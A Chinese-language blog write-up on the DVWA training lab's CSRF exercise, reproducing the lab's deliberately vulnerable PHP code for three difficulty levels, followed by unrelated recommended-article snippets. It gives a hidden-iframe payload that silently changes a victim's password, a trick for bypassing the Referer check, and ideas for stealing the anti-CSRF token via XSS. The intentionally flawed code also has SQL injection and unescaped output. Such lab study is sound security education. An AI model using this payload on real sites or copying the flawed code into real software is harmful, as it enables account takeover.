CSRF与XSS不同,它称为跨站请求伪造,它是利用其他页面的恶意脚本来加载访问或操作存在CSRF的漏洞的可信网站。

1.Low级别

核心代码如下:

<?php 



if( isset( $_GET[ 'Login' ] ) ) { 

    // Get username 

    $user = $_GET[ 'username' ]; 



    // Get password 

    $pass = $_GET[ 'password' ]; 

    $pass = md5( $pass ); 



    // Check the database 

    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );



    if( $result && mysqli_num_rows( $result ) == 1 ) { 

        // Get users details 

        $row    = mysqli_fetch_assoc( $result ); 

        $avatar = $row["avatar"]; 



        // Login successful 

        echo "<p>Welcome to the password protected area {$user}</p>"; 

        echo "<img src=\"{$avatar}\" />"; 

    } 

    else { 

        // Login failed 

        echo "<pre><br />Username and/or password incorrect.</pre>"; 

    } 



    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 





?>

没有加任何过滤和验证,抓去请求包如下:

发现它是通过GET形式提交,因此可以构造如下恶意网页1.html:

<iframe hidden src="http://www.xxx.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" ></iframe>

将其如果能让可信用户访问,那么会自动更改密码为passowrd。

2.Medium级别

核心代码:

<?php 



if( isset( $_GET[ 'Change' ] ) ) { 

    // Checks to see where the request came from 

    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 

        // Get input 

        $pass_new  = $_GET[ 'password_new' ]; 

        $pass_conf = $_GET[ 'password_conf' ]; 



        // Do the passwords match? 

        if( $pass_new == $pass_conf ) { 

            // They do! 

            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

            $pass_new = md5( $pass_new ); 



            // Update the database 

            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 

            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );



            // Feedback for the user 

            echo "<pre>Password Changed.</pre>"; 

        } 

        else { 

            // Issue with passwords matching 

            echo "<pre>Passwords did not match.</pre>"; 

        } 

    } 

    else { 

        // Didn't come from a trusted source 

        echo "<pre>That request didn't look correct.</pre>"; 

    } 



    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 





?>

首先想到的是直接伪造REFFER头,但是Cookie也要跟着伪造,此时的PHPSESSION却无法获取,因此只能换一种其他思路。

还是想着如何进行绕过过滤函数吧。

首先了解下striops函数

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

因此访问的地址里只要存在HOST就可以实现过滤的绕过,因此直接构造链接文件为HOST.html即可。

其中构造的恶意代码不变

3.HIGH级别

核心代码如下:

<?php 



if( isset( $_GET[ 'Change' ] ) ) { 

    // Check Anti-CSRF token 

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 



    // Get input 

    $pass_new  = $_GET[ 'password_new' ]; 

    $pass_conf = $_GET[ 'password_conf' ]; 



    // Do the passwords match? 

    if( $pass_new == $pass_conf ) { 

        // They do! 

        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

        $pass_new = md5( $pass_new ); 



        // Update the database 

        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );



        // Feedback for the user 

        echo "<pre>Password Changed.</pre>"; 

    } 

    else { 

        // Issue with passwords matching 

        echo "<pre>Passwords did not match.</pre>"; 

    } 



    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 





// Generate Anti-CSRF token 

generateSessionToken(); 



?>

HIGH级别中加入了令牌机制,一种思路是获取USER_token,带USER_TOKEN提交,第二种思路就是通过XSS获取SESSION,继而提交恶意请求

DVWA笔记之三:CSRF的更多相关文章

  1. CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】

    +++++++++++++++++++++++++++ + 00x1 实现简单的攻击 + 00x2 代码审计漏洞的源头 +++++++++++++++++++++++++++ 00x1 简单的csrf ...

  2. 2. DVWA亲测CSRF漏洞

    DVWA登陆      用户名:admin   密码:password Low级: 查看源代码: <?php if (isset($_GET['Change'])) { // Turn requ ...

  3. 《C#图解教程》读书笔记之三:方法

    本篇已收录至<C#图解教程>读书笔记目录贴,点击访问该目录可获取更多内容. 一.方法那些事儿 (1)方法的结构:方法头—指定方法的特征,方法体—可执行代码的语句序列: (2)方法的调用:参 ...

  4. sc7731 Android 5.1 LCD驱动简明笔记之三

    此篇笔记基于sc7731 - android 5.1,对lcd的gralloc库做一个简明笔记. 第一部分 调用gralloc.sc8830.so所谓的Gralloc模块,它就是一个模块,一个操作ke ...

  5. Django 学习笔记之三 数据库输入数据

    假设建立了django_blog项目,建立blog的app ,在models.py里面增加了Blog类,同步数据库,并且建立了对应的表.具体的参照Django 学习笔记之二的相关命令. 那么这篇主要介 ...

  6. DVWA笔记之一:brute Force

    1.Low 级别 burpsuite抓包 low级别是使用GET请求进行登录,将其发送到Intruder中,并增加password变量 之后选择字典开始攻击. 暴力破解完成后,查看结果RESULT,根 ...

  7. 《深入实践Spring Boot》阅读笔记之三:核心技术源代码分析

    刚关注的朋友,可以回顾前两篇文章: 基础应用开发 分布式应用开发 上篇文章总结了<深入实践Spring Boot>的第二部分,本篇文章总结第三部分,也是最后一部分.这部分主要讲解核心技术的 ...

  8. 【Visual C++】游戏编程学习笔记之三:游戏循环的使用

     本系列文章由@二货梦想家张程 所写,转载请注明出处. 本文章链接:http://blog.csdn.net/terence1212/article/details/44208419 作者:Zee ...

  9. 学习笔记之csrf

    CBV 添加 csrf 第一种: 指定方法方面添加 装饰器 @memethod_decorator(xxx) 第二种 全部添加: 注意 在类名前: @method_decorator(xxx,name ...

随机推荐

  1. npm 的用法

    当用npm 安装依赖时如果加上  --save  就会自动把依赖模块添加到package.json中  别人下载时直接npm install 加载后就可以了

  2. 实现一个简单的Log框架

    实际上算不上框架,只是自己对日志框架的一点理解. 核心接口:Logger,供调用者完成不同等级的日志输出 package com.lichmama.log.service; public interf ...

  3. 什么是Hadoop

    配上官方介绍 What Is Apache Hadoop?    The Apache™ Hadoop® project develops open-source software for relia ...

  4. English - Green Peanut Butter

    There is a guy. He wants to drink 12 cups of green peanut butter. He needs green peanut butter. So h ...

  5. IE浏览器兼容

    IE6下面元素的宽高小于16PX时 会默认以16PX显示(最小宽高) 解决办法:设置元素overflow:hidden;   当文字全是字母或数字时会超容器对溢出隐藏的样式失效, 解决办法:设置下父级 ...

  6. Rsync:一个很实用的文件同步命令

    sync是Linux系统下的文件同步和数据传输工具,可用于同步文件.代码发布 1.安装. yum install -y xinetd yum insatll -y rsync 2.配置 打开rsync ...

  7. 事务之使用JDBC进行事务的操作2

    本篇将讲诉如何使用JDBC进行数据库有关事务的操作.在上一篇博客中已经介绍了事务的概念,和在MySQL命令行窗口进行开启事务,提交事务以及回滚事务的操作. 似乎事务和批处理都可以一次同时执行多条SQL ...

  8. 使用iframe父页面调用子页面和子页面调用父页面的元素与方法

    在实际的项目开发中,iframe框架经常使用,主要用于引入其他的页面.下面主要介绍一下使用iframe引入其他页面后,父页面如何调用子页面的方法和元素以及子页面如何调用父页面的方法和元素. 1.父页面 ...

  9. Android系统--输入系统(十七)Dispatcher线程_分发dispatch

    Android系统--输入系统(十七)Dispatcher线程_分发dispatch 1. 回顾 InputRead线程从输入设备当中得到输入事件 对于读到输入事件稍作处理,比如紧急事件,来电时候按下 ...

  10. win10下python2与python3以及pip共存

    一 分别安装python2和python3 注意: 安装时记得勾选 Add Python.exe to Path 二 安装pip Python3最新版本有pip,无需安装 Python2: 下载pip ...